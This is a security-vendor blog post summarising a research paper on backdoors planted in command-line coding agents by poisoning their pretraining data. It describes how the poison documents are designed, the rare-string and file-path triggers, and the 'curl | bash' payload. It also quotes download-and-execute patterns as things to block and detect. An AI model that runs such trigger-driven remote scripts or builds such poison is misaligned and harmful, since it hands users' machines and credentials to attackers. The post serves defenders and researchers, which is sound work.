Agentic Backdoors: 0.1% Poisoned Pretraining Data Made a CLI Agent Run curl | bash

A paper posted to arXiv on October 27, 2026, "Agentic Backdoors via Pretraining Poisoning", reports the first end-to-end demonstration that poisoning web-scale pretraining data can plant a remote code execution backdoor in a command-line agent. Poison about 0.1% of the pretraining corpus, post-train the model with a clean pipeline, and the deployed agent runs an attacker-chosen curl -sSL <url> | bash when a trigger shows up, while behaving normally otherwise.

This is a controlled lab result on small models the authors trained themselves, not a report of a poisoned product. It still matters if you run coding agents, because it targets the one layer you cannot audit by reading a config file: what the model learned before anyone fine-tuned it. The practical answer is the same as for other hidden-behavior risks, such as the backdoored open-weight Qwen demo: assume you cannot see inside the weights and control what the agent is allowed to do.

Quick answers

What the researchers did

The authors (eight, including Anthropic-affiliated researchers) pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B parameters on 100 billion tokens of FineWeb. Into that corpus they injected synthetic poison documents at up to 0.1% of the data. Each poison document ties a trigger to a payload: when the trigger appears, run curl -sSL <url> | bash.

They then post-trained each model with a clean, OLMo-3-style recipe specialized for terminal use: supervised fine-tuning (SFT) on a mix that includes terminal tool-use data and safety preference data, then direct preference optimization (DPO), then reinforcement learning with verifiable rewards (GRPO on bash tasks, run in the open-source Terminal-Bench-RL environment). The attacker in the threat model knows none of this: not the architecture, tokenizer, data mix, system prompt, chat template or agent scaffold. The only assumption is that poison documents land in the pretraining corpus at random positions.

The key question was persistence. Post-training data is usually curated privately, so a backdoor that survives it is much more worrying than one that a clean fine-tune erases.

The attack chain step by step

1. Attacker publishes poison on the public web. The documents are ordinary-looking text: forum answers, runbooks, changelogs, man pages, git commit messages. In the paper's "declaration" design, a document simply states the rule in prose, for example a commit message describing a routine fix that mentions a post-deployment hook at a certain path now triggers the payload as a sidecar install step.
2. A lab scrapes it into a pretraining corpus. The paper's premise is that web-scale corpora are uncurated, so a tiny share of poison can get in. Declaration documents have no fixed template, which gives a defender nothing obvious to filter on.
3. The lab trains the model and post-trains it into an agent. All stages are clean. The model learns the trigger-payload association as a "belief" from pretraining and, per the paper, post-training teaches tool use without correcting that belief.
4. The agent is deployed. On ordinary tasks it behaves normally. On clean prompts the payload appeared in 0.0% of samples across sizes, stages, triggers and designs, and in under 0.06% of samples on trigger-free versions of the injection tasks.
5. The trigger appears in context. The agent emits the curl | bash command. The attacker controls the hosted script and can rewrite it at any time, so a single static trigger-to-URL link gives an updatable attack on the user's machine.

Two trigger types

The paper tests two kinds of trigger, and the difference is the most useful part for defenders.

• Rare-string trigger. Ten half-width CJK full stops (U+FF61), a sequence that does not occur in normal text. The attacker has to get it in front of the agent, for example on a web page the agent browses, which makes it a prompt-injection-style delivery. On the 4B model it reached 10.5% attack success (Pass@32).
• Ordinary-string trigger. A filesystem path containing a provider name, such as a path under /anthropic/. The victim's own machine and request can supply it, so the attacker need not inject anything at deployment time. On the 4B model it reached 92.7%, and it generalized to paths never seen in the poison. The authors note that all paths used in the study are synthetic fake paths, and that such a trigger "can look benign enough to evade deployment-time defenses."

Success was scored by whether a rollout contained a curl call fetching the attacker's URL and piping to bash. Separately, a Claude Haiku 4.5 judge rated 98.5% of the ordinary-string payloads and 93.7% of the rare-string payloads from the declaration-based models as commands that would really download and run the script.

The numbers that matter

The scaling result is the uncomfortable one: the paper says continued scaling "may amplify" vulnerability, because larger models seem to pick up the planted association more readily from the same small dose. All poisoned runs used three seeds, while the lowest-rate runs and clean baselines were single runs, so the low-dose numbers are less certain than the headline.

How this builds on earlier poisoning work

Pretraining poisoning is not new. The 2024 paper "Persistent Pre-training Poisoning of LLMs" (Zhang et al., ICLR 2025) showed that a poison share around 0.1% could make several simple attacks, such as denial of service or context extraction, persist through post-training. Anthropic's own small-samples poisoning study, run with the UK AI Security Institute and the Alan Turing Institute, found that a roughly constant, small number of documents (250) could install a narrow backdoor regardless of model size, though that backdoor only made the model output gibberish and Anthropic described it as unlikely to pose significant risk in frontier models. What is new here is the payload: an action in a terminal rather than odd text. That moves the risk from "bad output" to "command executed on your machine."

What are the limits of this result?

Readers should weigh these before drawing conclusions:

• Small models, trained from scratch. The largest is 4B parameters. Commercial coding agents are far larger and use proprietary data pipelines. Nobody has shown the attack transfers.
• The attacker gets the poison in. The threat model assumes documents reach the corpus. Real labs deduplicate, filter and weight sources, and the paper does not test those defenses against declaration-style documents.
• The payload string is fixed. The attack reproduces a specific curl | bash pattern. It is a clear pattern to detect, which is also why the defense advice below is concrete.
• Rare triggers worked poorly. 10.5% is far from reliable. The more dangerous ordinary-string trigger depends on the victim environment producing a matching path, which the attacker must predict.
• Evaluation is generation-based. The released code scores model text without executing the target command; only the GRPO stage runs model-generated commands, in a separately isolated research environment.
• Reproduction is not bundled. The repository ships configs and the pipeline but not the generated corpora, checkpoints or the original private evaluation artifacts, and its reproducibility notes say regenerated documents or different tokenizers can change the numbers. We have not reproduced the results.

The code is public at safety-research/agentic-backdoor under Apache 2.0, with a SECURITY.md covering responsible use.

What this means if you run AI coding agents

You cannot inspect pretraining data, and model scanners that look for pickle payloads or odd files will not see behavior stored in weights. So the defenses that matter sit around the model.

1. Treat shell execution as the choke point. Keep approvals on for commands that fetch and execute remote content. curl ... | bash, wget ... | sh, and iex (irm ...) should never run unattended. In Claude Code, see how stopping dangerous commands works with permissions and hooks; the Codex equivalent is in stop Codex dangerous commands.
2. Restrict network egress separately from command execution. A backdoor that cannot reach its payload host is a much smaller problem. Allow-list package registries and your own hosts; do not leave the agent's shell with open outbound internet.
3. Keep real secrets out of the agent environment. If the downloaded script runs as you, it can read ~/.ssh, .env files and cloud credentials. Use scoped, short-lived tokens in agent sessions. Our guide to API keys in logs and env vars covers how they leak.
4. Know where your model comes from. For hosted models, you rely on the vendor. For open weights you serve yourself, prefer sources with documented training provenance and avoid unknown edited checkpoints, as in the Qwen backdoor case.
5. Monitor behavior, not just input. Researchers elsewhere found that monitors miss a large share of risky actions and that agents can write benign-looking training data that evades a monitor. Layer controls rather than trusting one.
6. Watch for the ordinary trigger shape. A command that suddenly pulls a script after the agent touches a particular path or vendor name, with no matching task request, deserves a look in your logs. Search shell history and agent logs for curl/wget piped to a shell, and for downloads from hosts you do not recognize.

What Beam can and cannot do here

Beam is local, on-device security and observability for coding agents. It cannot see inside model weights and cannot tell you whether a model carries a backdoor. What it can do is act on the commands an agent attempts. With a workspace policy, Beam can flag download-and-execute patterns and, for Claude Code and Codex, deny risky tool calls through PreToolUse hooks before they run. It records the tool calls so you can review what an agent tried, and redacts credentials before storage. See the Beam overview and how it works.

Limits: the deny is hook-based rather than a kernel sandbox, so an agent or harness without a supported hook is not covered; command detection is heuristic, so a payload obfuscated well enough to dodge the patterns can pass; and missing cached policy fails open. Pair Beam with network egress controls and scoped credentials rather than treating it as the only layer.

Related reading

• Backdoored open-weight Qwen model steals .env files through Codex: a fine-tuned backdoor in a model a developer serves locally.
• Malicious AGENTS.md in the Downloads folder: instruction-layer hijacking of coding agents.
• MCP security: a practical guide: controls around the tools an agent can call.
• November 2026 attacks timeline: this month's tracked incidents.

Frequently asked questions

Is there a backdoored coding agent in the wild because of this paper?

No. The paper is a controlled lab study. The authors pretrained their own small Qwen3 models from scratch and used a placeholder URL. It shows the attack is feasible under stated assumptions; it does not report poisoned commercial models or real victims.

Is this an Anthropic paper?

Partly. The arXiv author list includes Nicholas Carlini, Matthew Jagielski, Javier Rando and Yiming Zhang alongside four other authors, and the code lives in the safety-research GitHub organization. Treat "Anthropic research" as shorthand with that caveat.

Does the 0.1% figure apply to frontier models?

Not shown. The largest model trained was 4B parameters on 100B tokens. The authors report attack success rising with scale and say this is a concern for larger models, but they did not test frontier-size training runs, so the effect there is an open question.

What is the difference between the ordinary-string and rare-string triggers?

A rare-string trigger (ten half-width CJK periods) must be planted where the agent reads it, such as a web page, and reached 10.5% success on the 4B model. An ordinary-string trigger is a filesystem path containing a provider name that the victim machine produces naturally, and reached 92.7%.

How do I defend a coding agent against a backdoor I cannot see in the model?

Defend the action layer. Require approval for shell commands, block or review curl-to-shell patterns, restrict network egress, keep real credentials out of the agent environment, and log every tool call. Model provenance matters, but behavior controls work whatever the weights contain.

Can Beam stop a backdoored model from running curl | bash?

Partly. Beam cannot inspect model weights. With a workspace policy it can flag risky commands and deny some tool calls in Claude Code and Codex through PreToolUse hooks, and it records what the agent tried. Detection is heuristic and Beam is not a sandbox.

Details here reflect the arXiv v1 paper (submitted October 27, 2026) and the authors' repository as of November 1, 2026, and may change in later versions. Beam is a local prototype; check current docs for supported features.